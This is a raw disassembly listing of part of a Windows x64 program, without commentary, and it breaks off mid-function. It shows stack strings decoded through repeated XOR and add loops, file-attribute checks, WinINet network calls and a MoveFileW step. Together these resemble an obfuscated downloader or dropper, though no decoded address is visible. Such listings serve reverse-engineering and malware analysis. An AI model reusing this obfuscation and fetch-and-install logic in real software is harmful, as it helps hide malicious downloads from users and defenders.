mov dword [rbp + 0x678], 0x6d916db4
mov dword [rbp + 0x67c], 0x6d9e6d9a
mov dword [rbp + 0x680], 0x6d816d8e
mov dword [rbp + 0x684], 0x6ddc6dde
mov dword [rbp + 0x688], 0x6db16db3
mov dword [rbp + 0x68c], 0x6d8b6d9f
mov dword [rbp + 0x690], 0x6d916db7
mov dword [rbp + 0x694], 0x6d9d6d86
mov dword [rbp + 0x698], 0x6d906da4
mov dword [rbp + 0x69c], 0x6d966d9c
mov dword [rbp + 0x6a0], 0x6db56d97
mov dword [rbp + 0x6a4], 0x6d8a6d93
mov dword [rbp + 0x6a8], 0x6e676d9a
mov dword [rbp + 0x6ac], 0x6e636e73
mov dword [rbp + 0x6b0], 0x6e6d6e77
mov dword [rbp + 0x6b4], 0x6e686e6a
mov edx, 0x6e29
mov dword [rbp + 0x6b8], 0x6e6c6e29
mov dword [rbp + 0x6bc], 0x6e666e65
mov eax, 0x6e0b
mov word [rbp + 0x6c0], ax
mov ecx, 0x6e0c
movzx eax, word [0x14004bbd0]
xor ax, cx
mov word [rbp + 0x6c2], ax
mov ecx, 0x6e0d
movzx eax, word [0x14004bbd2]
xor ax, cx
mov word [rbp + 0x6c4], ax
mov ecx, 0x6e0e
movzx eax, word [0x14004bbd4]
xor ax, cx
mov word [rbp + 0x6c6], ax
mov ecx, 0x6e0f
movzx eax, word [0x14004bbd6]
xor ax, cx
mov word [rbp + 0x6c8], ax
mov ecx, 0x6e10
movzx eax, word [0x14004bbd8]
xor ax, cx
mov word [rbp + 0x6ca], ax
mov ecx, 0x6e11
movzx eax, word [0x14004bbda]
xor ax, cx
mov word [rbp + 0x6cc], ax
mov ecx, 0x6e12
movzx eax, word [0x14004bbdc]
xor ax, cx
mov word [rbp + 0x6ce], ax
mov ecx, 0x6e13
movzx eax, word [0x14004bbde]
xor ax, cx
mov word [rbp + 0x6d0], ax
mov ecx, 0x6e14
movzx eax, word [0x14004bbe0]
xor ax, cx
mov word [rbp + 0x6d2], ax
mov ecx, 0x6e15
movzx eax, word [0x14004bbe2]
xor ax, cx
mov word [rbp + 0x6d4], ax
mov ecx, 0x6e16
movzx eax, word [0x14004bbe4]
xor ax, cx
mov word [rbp + 0x6d6], ax
mov ecx, 0x6e17
movzx eax, word [0x14004bbe6]
xor ax, cx
mov word [rbp + 0x6d8], ax
mov ecx, 0x6e18
movzx eax, word [0x14004bbe8]
xor ax, cx
mov word [rbp + 0x6da], ax
mov ecx, 0x6e19
movzx eax, word [0x14004bbea]
xor ax, cx
mov word [rbp + 0x6dc], ax
mov ecx, 0x6e1a
movzx eax, word [0x14004bbec]
xor ax, cx
mov word [rbp + 0x6de], ax
mov ecx, 0x6e1b
movzx eax, word [0x14004bbee]
xor ax, cx
mov word [rbp + 0x6e0], ax
mov ecx, 0x6e1c
movzx eax, word [0x14004bbf0]
xor ax, cx
mov word [rbp + 0x6e2], ax
mov ecx, 0x6e1d
movzx eax, word [0x14004bbf2]
xor ax, cx
mov word [rbp + 0x6e4], ax
mov ecx, 0x6e1e
movzx eax, word [0x14004bbf4]
xor ax, cx
mov word [rbp + 0x6e6], ax
mov ecx, 0x6e1f
movzx eax, word [0x14004bbf6]
xor ax, cx
mov word [rbp + 0x6e8], ax
mov ecx, 0x6e20
movzx eax, word [0x14004bbf8]
xor ax, cx
mov word [rbp + 0x6ea], ax
mov ecx, 0x6e21
movzx eax, word [0x14004bbfa]
xor ax, cx
mov word [rbp + 0x6ec], ax
mov ecx, 0x6e22
movzx eax, word [0x14004bbfc]
xor ax, cx
mov word [rbp + 0x6ee], ax
mov ecx, 0x6e23
movzx eax, word [0x14004bbfe]
xor ax, cx
mov word [rbp + 0x6f0], ax
mov ecx, 0x6e24
movzx eax, word [0x14004bc00]
xor ax, cx
mov word [rbp + 0x6f2], ax
mov ecx, 0x6e25
movzx eax, word [0x14004bc02]
xor ax, cx
mov word [rbp + 0x6f4], ax
mov ecx, 0x6e26
movzx eax, word [0x14004bc04]
xor ax, cx
mov word [rbp + 0x6f6], ax
mov ecx, 0x6e27
movzx eax, word [0x14004bc06]
xor ax, cx
mov word [rbp + 0x6f8], ax
mov ecx, 0x6e28
movzx eax, word [0x14004bc08]
xor ax, cx
mov word [rbp + 0x6fa], ax
movzx eax, word [0x14004bc0a]
xor ax, dx
mov word [rbp + 0x6fc], ax
mov ecx, 0x6e2a
movzx eax, word [0x14004bc0c]
xor ax, cx
mov word [rbp + 0x6fe], ax
mov ecx, 0x6e2b
movzx eax, word [0x14004bc0e]
xor ax, cx
mov word [rbp + 0x700], ax
mov ecx, 0x6e2c
movzx eax, word [0x14004bc10]
xor ax, cx
mov word [rbp + 0x702], ax
mov ecx, 0x6e2d
movzx eax, word [0x14004bc12]
xor ax, cx
mov word [rbp + 0x704], ax
mov ecx, 0x6e2e
movzx eax, word [0x14004bc14]
xor ax, cx
mov word [rbp + 0x706], ax
mov ecx, 0x6e2f
movzx eax, word [0x14004bc16]
xor ax, cx
mov word [rbp + 0x708], ax
mov ecx, 0x6e30
movzx eax, word [0x14004bc18]
xor ax, cx
mov word [rbp + 0x70a], ax
mov ecx, 0x6e31
movzx eax, word [0x14004bc1a]
xor ax, cx
mov word [rbp + 0x70c], ax
mov ecx, 0x6e32
movzx eax, word [0x14004bc1c]
xor ax, cx
mov word [rbp + 0x70e], ax
mov ecx, 0x6e33
movzx eax, word [0x14004bc1e]
xor ax, cx
mov word [rbp + 0x710], ax
mov ecx, 0x6e34
movzx eax, word [0x14004bc20]
xor ax, cx
mov word [rbp + 0x712], ax
mov ecx, 0x6e35
movzx eax, word [0x14004bc22]
xor ax, cx
mov word [rbp + 0x714], ax
mov ecx, 0x6e36
movzx eax, word [0x14004bc24]
xor ax, cx
mov word [rbp + 0x716], ax
mov ecx, 0x6e37
movzx eax, word [0x14004bc26]
xor ax, cx
mov word [rbp + 0x718], ax
mov ecx, 0x6e38
movzx eax, word [0x14004bc28]
xor ax, cx
mov word [rbp + 0x71a], ax
mov ecx, 0x6e39
movzx eax, word [0x14004bc2a]
xor ax, cx
mov word [rbp + 0x71c], ax
mov ecx, 0x6e3a
movzx eax, word [0x14004bc2c]
xor ax, cx
mov word [rbp + 0x71e], ax
xor eax, eax
mov word [rbp + 0x720], ax
lea rcx, [rbp + 0x660]
call fcn.14000e010
mov rdx, rax
lea rcx, [rbp + 0xb18]
call fcn.14000fcd0
nop
mov dword [rbp + 0x800], 0x15b515f6
mov dword [rbp + 0x804], 0x15a415cd
mov dword [rbp + 0x808], 0x159315ae
mov dword [rbp + 0x80c], 0x15981595
mov dword [rbp + 0x810], 0x15891592
mov dword [rbp + 0x814], 0x165c158c
mov dword [rbp + 0x818], 0x167b1652
mov dword [rbp + 0x81c], 0x16701670
mov dword [rbp + 0x820], 0x166b1660
mov r11d, 0x1634
mov dword [rbp + 0x824], 0x163a1634
mov edi, 0x163a
mov dword [rbp + 0x828], 0x164b1655
mov dword [rbp + 0x82c], 0x16751665
mov r13d, 0x1649
mov dword [rbp + 0x830], 0x166b1649
mov dword [rbp + 0x834], 0x167b167c
mov r14d, 0x1642
mov dword [rbp + 0x838], 0x167a1642
mov dword [rbp + 0x83c], 0x16781676
mov dword [rbp + 0x840], 0x165f1679
mov dword [rbp + 0x844], 0x166c1679
mov dword [rbp + 0x848], 0x167d167c
mov dword [rbp + 0x84c], 0x167d1669
mov dword [rbp + 0x850], 0x16771669
mov dword [rbp + 0x854], 0x164e1670
mov r15d, 0x164e
mov dword [rbp + 0x858], 0x1677167e
mov r12d, 0x1653
mov dword [rbp + 0x85c], 0x16401653
mov edx, 0x1640
mov r10d, 0x1644
mov dword [rbp + 0x860], 0x16521644
mov dword [rbp + 0x864], 0x16061642
mov ebx, 0x164d
mov dword [rbp + 0x868], 0x1646164d
mov r8d, 0x1646
mov r9d, 0x1647
mov dword [rbp + 0x86c], 0x162c1647
mov ecx, 0x162d
movzx eax, word [0x14004bc3e]
xor ax, cx
mov word [rbp + 0x870], ax
mov ecx, 0x162e
movzx eax, word [0x14004bc40]
xor ax, cx
mov word [rbp + 0x872], ax
mov ecx, 0x162f
movzx eax, word [0x14004bc42]
xor ax, cx
mov word [rbp + 0x874], ax
mov ecx, 0x1630
movzx eax, word [0x14004bc44]
xor ax, cx
mov word [rbp + 0x876], ax
mov ecx, 0x1631
movzx eax, word [0x14004bc46]
xor ax, cx
mov word [rbp + 0x878], ax
mov ecx, 0x1632
movzx eax, word [0x14004bc48]
xor ax, cx
mov word [rbp + 0x87a], ax
mov ecx, 0x1633
movzx eax, word [0x14004bc4a]
xor ax, cx
mov word [rbp + 0x87c], ax
movzx eax, word [0x14004bc4c]
xor ax, r11w
mov word [rbp + 0x87e], ax
mov ecx, 0x1635
movzx eax, word [0x14004bc4e]
xor ax, cx
mov word [rbp + 0x880], ax
mov ecx, 0x1636
movzx eax, word [0x14004bc50]
xor ax, cx
mov word [rbp + 0x882], ax
mov ecx, 0x1637
movzx eax, word [0x14004bc52]
xor ax, cx
mov word [rbp + 0x884], ax
mov ecx, 0x1638
movzx eax, word [0x14004bc54]
xor ax, cx
mov word [rbp + 0x886], ax
mov ecx, 0x1639
movzx eax, word [0x14004bc56]
xor ax, cx
mov word [rbp + 0x888], ax
movzx eax, word [0x14004bc58]
xor ax, di
mov word [rbp + 0x88a], ax
mov ecx, 0x163b
movzx eax, word [0x14004bc5a]
xor ax, cx
mov word [rbp + 0x88c], ax
mov ecx, 0x163c
movzx eax, word [0x14004bc5c]
xor ax, cx
mov word [rbp + 0x88e], ax
mov ecx, 0x163d
movzx eax, word [0x14004bc5e]
xor ax, cx
mov word [rbp + 0x890], ax
mov ecx, 0x163e
movzx eax, word [0x14004bc60]
xor ax, cx
mov word [rbp + 0x892], ax
mov ecx, 0x163f
movzx eax, word [0x14004bc62]
xor ax, cx
mov word [rbp + 0x894], ax
movzx eax, word [0x14004bc64]
xor ax, dx
mov word [rbp + 0x896], ax
mov ecx, 0x1641
movzx eax, word [0x14004bc66]
xor ax, cx
mov word [rbp + 0x898], ax
movzx eax, word [0x14004bc68]
xor ax, r14w
mov word [rbp + 0x89a], ax
mov ecx, 0x1643
movzx eax, word [0x14004bc6a]
xor ax, cx
mov word [rbp + 0x89c], ax
movzx eax, word [0x14004bc6c]
xor ax, r10w
mov word [rbp + 0x89e], ax
mov ecx, 0x1645
movzx eax, word [0x14004bc6e]
xor ax, cx
mov word [rbp + 0x8a0], ax
movzx eax, word [0x14004bc70]
xor ax, r8w
mov word [rbp + 0x8a2], ax
movzx eax, word [0x14004bc72]
xor ax, r9w
mov word [rbp + 0x8a4], ax
mov ecx, 0x1648
movzx eax, word [0x14004bc74]
xor ax, cx
mov word [rbp + 0x8a6], ax
movzx eax, word [0x14004bc76]
xor ax, r13w
mov word [rbp + 0x8a8], ax
mov ecx, 0x164a
movzx eax, word [0x14004bc78]
xor ax, cx
mov word [rbp + 0x8aa], ax
movzx eax, word [0x14004bc7a]
mov ecx, 0x164b
xor ax, cx
mov word [rbp + 0x8ac], ax
mov ecx, 0x164c
movzx eax, word [0x14004bc7c]
xor ax, cx
mov word [rbp + 0x8ae], ax
movzx eax, word [0x14004bc7e]
xor ax, bx
mov word [rbp + 0x8b0], ax
movzx eax, word [0x14004bc80]
xor ax, r15w
mov word [rbp + 0x8b2], ax
mov ecx, 0x164f
movzx eax, word [0x14004bc82]
xor ax, cx
mov word [rbp + 0x8b4], ax
mov ecx, 0x1650
movzx eax, word [0x14004bc84]
xor ax, cx
mov word [rbp + 0x8b6], ax
mov ecx, 0x1651
movzx eax, word [0x14004bc86]
xor ax, cx
mov word [rbp + 0x8b8], ax
movzx eax, word [0x14004bc88]
mov ecx, 0x1652
xor ax, cx
mov word [rbp + 0x8ba], ax
movzx eax, word [0x14004bc8a]
xor ax, r12w
mov word [rbp + 0x8bc], ax
mov ecx, 0x1654
movzx eax, word [0x14004bc8c]
xor ax, cx
mov word [rbp + 0x8be], ax
movzx eax, word [0x14004bc8e]
mov ecx, 0x1655
xor ax, cx
mov word [rbp + 0x8c0], ax
mov ecx, 0x1656
movzx eax, word [0x14004bc90]
xor ax, cx
mov word [rbp + 0x8c2], ax
mov ecx, 0x1657
movzx eax, word [0x14004bc92]
xor ax, cx
mov word [rbp + 0x8c4], ax
mov ecx, 0x1658
movzx eax, word [0x14004bc94]
xor ax, cx
mov word [rbp + 0x8c6], ax
mov ecx, 0x1659
movzx eax, word [0x14004bc96]
xor ax, cx
mov word [rbp + 0x8c8], ax
mov ecx, 0x165a
movzx eax, word [0x14004bc98]
xor ax, cx
mov word [rbp + 0x8ca], ax
mov ecx, 0x165b
movzx eax, word [0x14004bc9a]
xor ax, cx
mov word [rbp + 0x8cc], ax
movzx eax, word [0x14004bc9c]
mov ecx, 0x165c
xor ax, cx
mov word [rbp + 0x8ce], ax
mov ecx, 0x165d
movzx eax, word [0x14004bc9e]
xor ax, cx
mov word [rbp + 0x8d0], ax
mov ecx, 0x165e
movzx eax, word [0x14004bca0]
xor ax, cx
mov word [rbp + 0x8d2], ax
movzx eax, word [0x14004bca2]
mov ecx, 0x165f
xor ax, cx
mov word [rbp + 0x8d4], ax
movzx eax, word [0x14004bca4]
mov ecx, 0x1660
xor ax, cx
mov word [rbp + 0x8d6], ax
mov ecx, 0x1661
movzx eax, word [0x14004bca6]
xor ax, cx
mov word [rbp + 0x8d8], ax
mov ecx, 0x1662
movzx eax, word [0x14004bca8]
xor ax, cx
mov word [rbp + 0x8da], ax
xor eax, eax
mov word [rbp + 0x8dc], ax
lea rcx, [rbp + 0x800]
call fcn.14000dfd0
mov rdx, rax
lea rcx, [rbp + 0xbb0]
call fcn.14000fcd0
nop
lea rcx, [rbp + 0xb18]
call fcn.14000fbc0
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140004af2
test al, 0x10
je 0x14000508e
mov dword [rbp + 0x8e0], 0x4c884ce0
mov dword [rbp + 0x8e4], 0x4c944c94
mov dword [rbp + 0x8e8], 0x4c934c90
mov dword [rbp + 0x8ec], 0x4ccf4cda
mov dword [rbp + 0x8f0], 0x4c844ccf
mov dword [rbp + 0x8f4], 0x4c994c95
mov dword [rbp + 0x8f8], 0x4c944ccd
mov dword [rbp + 0x8fc], 0x4c814c88
mov dword [rbp + 0x900], 0x4c884c8e
mov dword [rbp + 0x904], 0x4c874cce
mov dword [rbp + 0x908], 0x4c944c89
mov dword [rbp + 0x90c], 0x4c954c88
mov dword [rbp + 0x910], 0x4cce4c82
mov dword [rbp + 0x914], 0x4c8f4c89
mov dword [rbp + 0x918], 0x4c864ccf
mov dword [rbp + 0x91c], 0x4c8c4c89
mov dword [rbp + 0x920], 0x4ccf4c85
mov dword [rbp + 0x924], 0x4c8e4ca1
mov dword [rbp + 0x928], 0x4ca44c99
mov dword [rbp + 0x92c], 0x4c934c85
mov dword [rbp + 0x930], 0x4cb34c8b
mov dword [rbp + 0x934], 0x4c854c88
mov dword [rbp + 0x938], 0x4c8c4c8c
mov dword [rbp + 0x93c], 0x4c8e4ca9
mov dword [rbp + 0x940], 0x4c854c94
mov dword [rbp + 0x944], 0x4c924c87
mov dword [rbp + 0x948], 0x4c944c81
mov dword [rbp + 0x94c], 0x4c8f4c89
mov dword [rbp + 0x950], 0x4cce4c8e
mov dword [rbp + 0x954], 0x4c8c4c84
mov dword [rbp + 0x958], 0x4ce04c8c
mov ecx, 0x4ce0
movzx eax, word [0x14004bcba]
xor ax, cx
mov word [rbp + 0x95c], ax
movzx eax, word [0x14004bcbc]
xor ax, cx
mov word [rbp + 0x95e], ax
movzx eax, word [0x14004bcbe]
xor ax, cx
mov word [rbp + 0x960], ax
movzx eax, word [0x14004bcc0]
xor ax, cx
mov word [rbp + 0x962], ax
movzx eax, word [0x14004bcc2]
xor ax, cx
mov word [rbp + 0x964], ax
movzx eax, word [0x14004bcc4]
xor ax, cx
mov word [rbp + 0x966], ax
movzx eax, word [0x14004bcc6]
xor ax, cx
mov word [rbp + 0x968], ax
movzx eax, word [0x14004bcc8]
xor ax, cx
mov word [rbp + 0x96a], ax
movzx eax, word [0x14004bcca]
xor ax, cx
mov word [rbp + 0x96c], ax
movzx eax, word [0x14004bccc]
xor ax, cx
mov word [rbp + 0x96e], ax
movzx eax, word [0x14004bcce]
xor ax, cx
mov word [rbp + 0x970], ax
movzx eax, word [0x14004bcd0]
xor ax, cx
mov word [rbp + 0x972], ax
movzx eax, word [0x14004bcd2]
xor ax, cx
mov word [rbp + 0x974], ax
movzx eax, word [0x14004bcd4]
xor ax, cx
mov word [rbp + 0x976], ax
movzx eax, word [0x14004bcd6]
xor ax, cx
mov word [rbp + 0x978], ax
movzx eax, word [0x14004bcd8]
xor ax, cx
mov word [rbp + 0x97a], ax
movzx eax, word [0x14004bcda]
xor ax, cx
mov word [rbp + 0x97c], ax
movzx eax, word [0x14004bcdc]
xor ax, cx
mov word [rbp + 0x97e], ax
movzx eax, word [0x14004bcde]
xor ax, cx
mov word [rbp + 0x980], ax
movzx eax, word [0x14004bce0]
xor ax, cx
mov word [rbp + 0x982], ax
movzx eax, word [0x14004bce2]
xor ax, cx
mov word [rbp + 0x984], ax
movzx eax, word [0x14004bce4]
xor ax, cx
mov word [rbp + 0x986], ax
movzx eax, word [0x14004bce6]
xor ax, cx
mov word [rbp + 0x988], ax
movzx eax, word [0x14004bce8]
xor ax, cx
mov word [rbp + 0x98a], ax
movzx eax, word [0x14004bcea]
xor ax, cx
mov word [rbp + 0x98c], ax
movzx eax, word [0x14004bcec]
xor ax, cx
mov word [rbp + 0x98e], ax
movzx eax, word [0x14004bcee]
xor ax, cx
mov word [rbp + 0x990], ax
movzx eax, word [0x14004bcf0]
xor ax, cx
mov word [rbp + 0x992], ax
movzx eax, word [0x14004bcf2]
xor ax, cx
mov word [rbp + 0x994], ax
movzx eax, word [0x14004bcf4]
xor ax, cx
mov word [rbp + 0x996], ax
movzx eax, word [0x14004bcf6]
xor ax, cx
mov word [rbp + 0x998], ax
movzx eax, word [0x14004bcf8]
xor ax, cx
mov word [rbp + 0x99a], ax
movzx eax, word [0x14004bcfa]
xor ax, cx
mov word [rbp + 0x99c], ax
movzx eax, word [0x14004bcfc]
xor ax, cx
mov word [rbp + 0x99e], ax
movzx eax, word [0x14004bcfe]
xor ax, cx
mov word [rbp + 0x9a0], ax
movzx eax, word [0x14004bd00]
xor ax, cx
mov word [rbp + 0x9a2], ax
movzx eax, word [0x14004bd02]
xor ax, cx
mov word [rbp + 0x9a4], ax
movzx eax, word [0x14004bd04]
xor ax, cx
mov word [rbp + 0x9a6], ax
movzx eax, word [0x14004bd06]
xor ax, cx
mov word [rbp + 0x9a8], ax
movzx eax, word [0x14004bd08]
xor ax, cx
mov word [rbp + 0x9aa], ax
movzx eax, word [0x14004bd0a]
xor ax, cx
mov word [rbp + 0x9ac], ax
movzx eax, word [0x14004bd0c]
xor ax, cx
mov word [rbp + 0x9ae], ax
movzx eax, word [0x14004bd0e]
xor ax, cx
mov word [rbp + 0x9b0], ax
movzx eax, word [0x14004bd10]
xor ax, cx
mov word [rbp + 0x9b2], ax
movzx eax, word [0x14004bd12]
xor ax, cx
mov word [rbp + 0x9b4], ax
movzx eax, word [0x14004bd14]
xor ax, cx
mov word [rbp + 0x9b6], ax
movzx eax, word [0x14004bd16]
xor ax, cx
mov word [rbp + 0x9b8], ax
movzx eax, word [0x14004bd18]
xor ax, cx
mov word [rbp + 0x9ba], ax
movzx eax, word [0x14004bd1a]
xor ax, cx
mov word [rbp + 0x9bc], ax
movzx eax, word [0x14004bd1c]
xor ax, cx
mov word [rbp + 0x9be], ax
movzx eax, word [0x14004bd1e]
xor ax, cx
mov word [rbp + 0x9c0], ax
movzx eax, word [0x14004bd20]
xor ax, cx
mov word [rbp + 0x9c2], ax
movzx eax, word [0x14004bd22]
xor ax, cx
mov word [rbp + 0x9c4], ax
movzx eax, word [0x14004bd24]
xor ax, cx
mov word [rbp + 0x9c6], ax
movzx eax, word [0x14004bd26]
xor ax, cx
mov word [rbp + 0x9c8], ax
movzx eax, word [0x14004bd28]
xor ax, cx
mov word [rbp + 0x9ca], ax
movzx eax, word [0x14004bd2a]
xor ax, cx
mov word [rbp + 0x9cc], ax
movzx eax, word [0x14004bd2c]
xor ax, cx
mov word [rbp + 0x9ce], ax
movzx eax, word [0x14004bd2e]
xor ax, cx
mov word [rbp + 0x9d0], ax
movzx eax, word [0x14004bd30]
xor ax, cx
mov word [rbp + 0x9d2], ax
xor eax, eax
mov word [rbp + 0x9d4], ax
lea rcx, [rbp + 0x8e0]
call fcn.14000d350
mov rdx, rax
lea rcx, [rbp + 0xd70]
call fcn.14000fcd0
nop
lea rcx, [rbp + 0xb18]
call fcn.14000fbc0
mov rbx, rax
lea rcx, [rbp + 0xd70]
call fcn.14000fbc0
mov rdx, rbx
mov rcx, rax
call fcn.14000cdf0
mov rcx, qword [0x140055d80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
lea rcx, [rbp + 0xd70]
call fcn.14000fc60
lea rcx, [rbp + 0xbb0]
call fcn.14000fbc0
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400050d3
test al, 0x10
jne 0x1400050d3
lea rcx, [rbp + 0xb18]
call fcn.14000fbc0
mov rbx, rax
lea rcx, [rbp + 0xbb0]
call fcn.14000fbc0
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_MoveFileW]
lea rcx, [rbp + 0xb38]
call fcn.14000fbc0
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
mov edi, 0x6d
mov ebx, 0x6a
mov r15d, 0x69
mov r13d, 0x73
mov r12d, 0x74
mov qword [rsp + 0x48], 0x48
mov qword [rsp + 0x38], 0x77
mov qword [rsp + 0x30], 0x4d
mov qword [rsp + 0x40], 0x7d
cmp eax, 0xffffffff
je 0x140005135
test al, 0x10
je 0x140005712
mov dword [rbp + 0x3f0], 0x79006d
mov dword [rbp + 0x3f4], 0x750079
mov dword [rbp + 0x3f8], 0x3f0078
mov dword [rbp + 0x3fc], 0x340034
mov dword [rbp + 0x400], 0x7a0069
mov dword [rbp + 0x404], 0x32007e
mov dword [rbp + 0x408], 0x6d0079
mov dword [rbp + 0x40c], 0x730066
mov dword [rbp + 0x410], 0x33006d
mov dword [rbp + 0x414], 0x6e006c
mov dword [rbp + 0x418], 0x6d0079
mov dword [rbp + 0x41c], 0x67007a
mov dword [rbp + 0x420], 0x6e0033
mov dword [rbp + 0x424], 0x340074
mov dword [rbp + 0x428], 0x6e006b
mov dword [rbp + 0x42c], 0x6a0071
mov dword [rbp + 0x430], 0x460034
mov dword [rbp + 0x434], 0x7e0073
mov dword [rbp + 0x438], 0x6a0049
mov dword [rbp + 0x43c], 0x700078
mov rcx, qword [rsp + 0x48]
mov word [rbp + 0x440], cx
mov rcx, qword [rsp + 0x38]
mov word [rbp + 0x442], cx
mov dword [rbp + 0x444], 0x780066
mov word [rbp + 0x448], di
mov rdx, qword [rsp + 0x30]
mov word [rbp + 0x44a], dx
mov dword [rbp + 0x44c], 0x730066
mov dword [rbp + 0x450], 0x710069
mov word [rbp + 0x454], bx
mov word [rbp + 0x456], cx
mov dword [rbp + 0x458], 0x6a0033
mov rax, qword [rsp + 0x40]
mov word [rbp + 0x45c], ax
mov dword [rbp + 0x45e], 0x5006a
movzx eax, word [0x14004bd32]
add ax, 5
mov word [rbp + 0x462], ax
movzx eax, word [0x14004bd34]
add ax, 5
mov word [rbp + 0x464], ax
movzx eax, word [0x14004bd36]
add ax, 5
mov word [rbp + 0x466], ax
movzx eax, word [0x14004bd38]
add ax, 5
mov word [rbp + 0x468], ax
movzx eax, word [0x14004bd3a]
add ax, 5
mov word [rbp + 0x46a], ax
movzx eax, word [0x14004bd3c]
add ax, 5
mov word [rbp + 0x46c], ax
movzx eax, word [0x14004bd3e]
add ax, 5
mov word [rbp + 0x46e], ax
movzx eax, word [0x14004bd40]
add ax, 5
mov word [rbp + 0x470], ax
movzx eax, word [0x14004bd42]
add ax, 5
mov word [rbp + 0x472], ax
movzx eax, word [0x14004bd44]
add ax, 5
mov word [rbp + 0x474], ax
movzx eax, word [0x14004bd46]
add ax, 5
mov word [rbp + 0x476], ax
movzx eax, word [0x14004bd48]
add ax, 5
mov word [rbp + 0x478], ax
movzx eax, word [0x14004bd4a]
add ax, 5
mov word [rbp + 0x47a], ax
movzx eax, word [0x14004bd4c]
add ax, 5
mov word [rbp + 0x47c], ax
movzx eax, word [0x14004bd4e]
add ax, 5
mov word [rbp + 0x47e], ax
movzx eax, word [0x14004bd50]
add ax, 5
mov word [rbp + 0x480], ax
movzx eax, word [0x14004bd52]
add ax, 5
mov word [rbp + 0x482], ax
movzx eax, word [0x14004bd54]
add ax, 5
mov word [rbp + 0x484], ax
movzx eax, word [0x14004bd56]
add ax, 5
mov word [rbp + 0x486], ax
movzx eax, word [0x14004bd58]
add ax, 5
mov word [rbp + 0x488], ax
movzx eax, word [0x14004bd5a]
add ax, 5
mov word [rbp + 0x48a], ax
movzx eax, word [0x14004bd5c]
add ax, 5
mov word [rbp + 0x48c], ax
movzx eax, word [0x14004bd5e]
add ax, 5
mov word [rbp + 0x48e], ax
movzx eax, word [0x14004bd60]
add ax, 5
mov word [rbp + 0x490], ax
movzx eax, word [0x14004bd62]
add ax, 5
mov word [rbp + 0x492], ax
movzx eax, word [0x14004bd64]
add ax, 5
mov word [rbp + 0x494], ax
movzx eax, word [0x14004bd66]
add ax, 5
mov word [rbp + 0x496], ax
movzx eax, word [0x14004bd68]
add ax, 5
mov word [rbp + 0x498], ax
movzx eax, word [0x14004bd6a]
add ax, 5
mov word [rbp + 0x49a], ax
movzx eax, word [0x14004bd6c]
add ax, 5
mov word [rbp + 0x49c], ax
movzx eax, word [0x14004bd6e]
add ax, 5
mov word [rbp + 0x49e], ax
movzx eax, word [0x14004bd70]
add ax, 5
mov word [rbp + 0x4a0], ax
movzx eax, word [0x14004bd72]
add ax, 5
mov word [rbp + 0x4a2], ax
movzx eax, word [0x14004bd74]
add ax, 5
mov word [rbp + 0x4a4], ax
movzx eax, word [0x14004bd76]
add ax, 5
mov word [rbp + 0x4a6], ax
movzx eax, word [0x14004bd78]
add ax, 5
mov word [rbp + 0x4a8], ax
movzx eax, word [0x14004bd7a]
add ax, 5
mov word [rbp + 0x4aa], ax
movzx eax, word [0x14004bd7c]
add ax, 5
mov word [rbp + 0x4ac], ax
movzx eax, word [0x14004bd7e]
add ax, 5
mov word [rbp + 0x4ae], ax
movzx eax, word [0x14004bd80]
add ax, 5
mov word [rbp + 0x4b0], ax
movzx eax, word [0x14004bd82]
add ax, 5
mov word [rbp + 0x4b2], ax
movzx eax, word [0x14004bd84]
add ax, 5
mov word [rbp + 0x4b4], ax
movzx eax, word [0x14004bd86]
add ax, 5
mov word [rbp + 0x4b6], ax
movzx eax, word [0x14004bd88]
add ax, 5
mov word [rbp + 0x4b8], ax
movzx eax, word [0x14004bd8a]
add ax, 5
mov word [rbp + 0x4ba], ax
movzx eax, word [0x14004bd8c]
add ax, 5
mov word [rbp + 0x4bc], ax
movzx eax, word [0x14004bd8e]
add ax, 5
mov word [rbp + 0x4be], ax
movzx eax, word [0x14004bd90]
add ax, 5
mov word [rbp + 0x4c0], ax
movzx ebx, word [0x14004bd92]
mov edx, 0xc96b
lea rcx, [rbp + 0x3f0]
call fcn.140011e20
add ax, bx
mov word [rbp + 0x4c2], ax
movzx edx, word [0x14004bd94]
lea rcx, [rbp + 0x3f0]
call fcn.140011070
mov word [rbp + 0x4c4], ax
movzx edx, word [0x14004bd96]
lea rcx, [rbp + 0x3f0]
call fcn.140011070
mov word [rbp + 0x4c6], ax
movzx edx, word [0x14004bd98]
lea rcx, [rbp + 0x3f0]
call fcn.140011070
mov word [rbp + 0x4c8], ax
movzx edx, word [0x14004bd9a]
lea rcx, [rbp + 0x3f0]
call fcn.140011070
mov word [rbp + 0x4ca], ax
movzx edx, word [0x14004bd9c]
lea rcx, [rbp + 0x3f0]
call fcn.140011070
mov word [rbp + 0x4cc], ax
movzx edx, word [0x14004bd9e]
lea rcx, [rbp + 0x3f0]
call fcn.140011070
mov word [rbp + 0x4ce], ax
movzx edx, word [0x14004bda0]
lea rcx, [rbp + 0x3f0]
call fcn.140011070
mov word [rbp + 0x4d0], ax
xor r14d, r14d
mov word [rbp + 0x4d2], r14w
lea rcx, [rbp + 0x3f0]
call fcn.14000d2c0
mov rdx, rax
lea rcx, [rbp + 0xd50]
call fcn.14000fcd0
nop
lea rcx, [rbp + 0xb38]
call fcn.14000fbc0
mov rbx, rax
lea rcx, [rbp + 0xd50]
call fcn.14000fbc0
mov rcx, rax
mov rdx, rbx
call fcn.14000cdf0
call fcn.14000cf30
nop
lea rcx, [rbp + 0xd50]
call fcn.14000fc60
mov ebx, 0x6a
jmp 0x140005715
xor r14d, r14d
lea rcx, [rbp + 0xb58]
call fcn.14000fbc0
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140005737
test al, 0x10
je 0x140006d92
mov eax, 0xe836
mov word [rbp + 0x230], ax
mov edx, 0x68
xor r8d, r8d
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x232], ax
mov edx, r12d
mov r8d, 1
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x234], ax
mov edx, r12d
mov r8d, 2
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x236], ax
mov edx, 0x70
mov r8d, 3
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x238], ax
mov edx, r13d
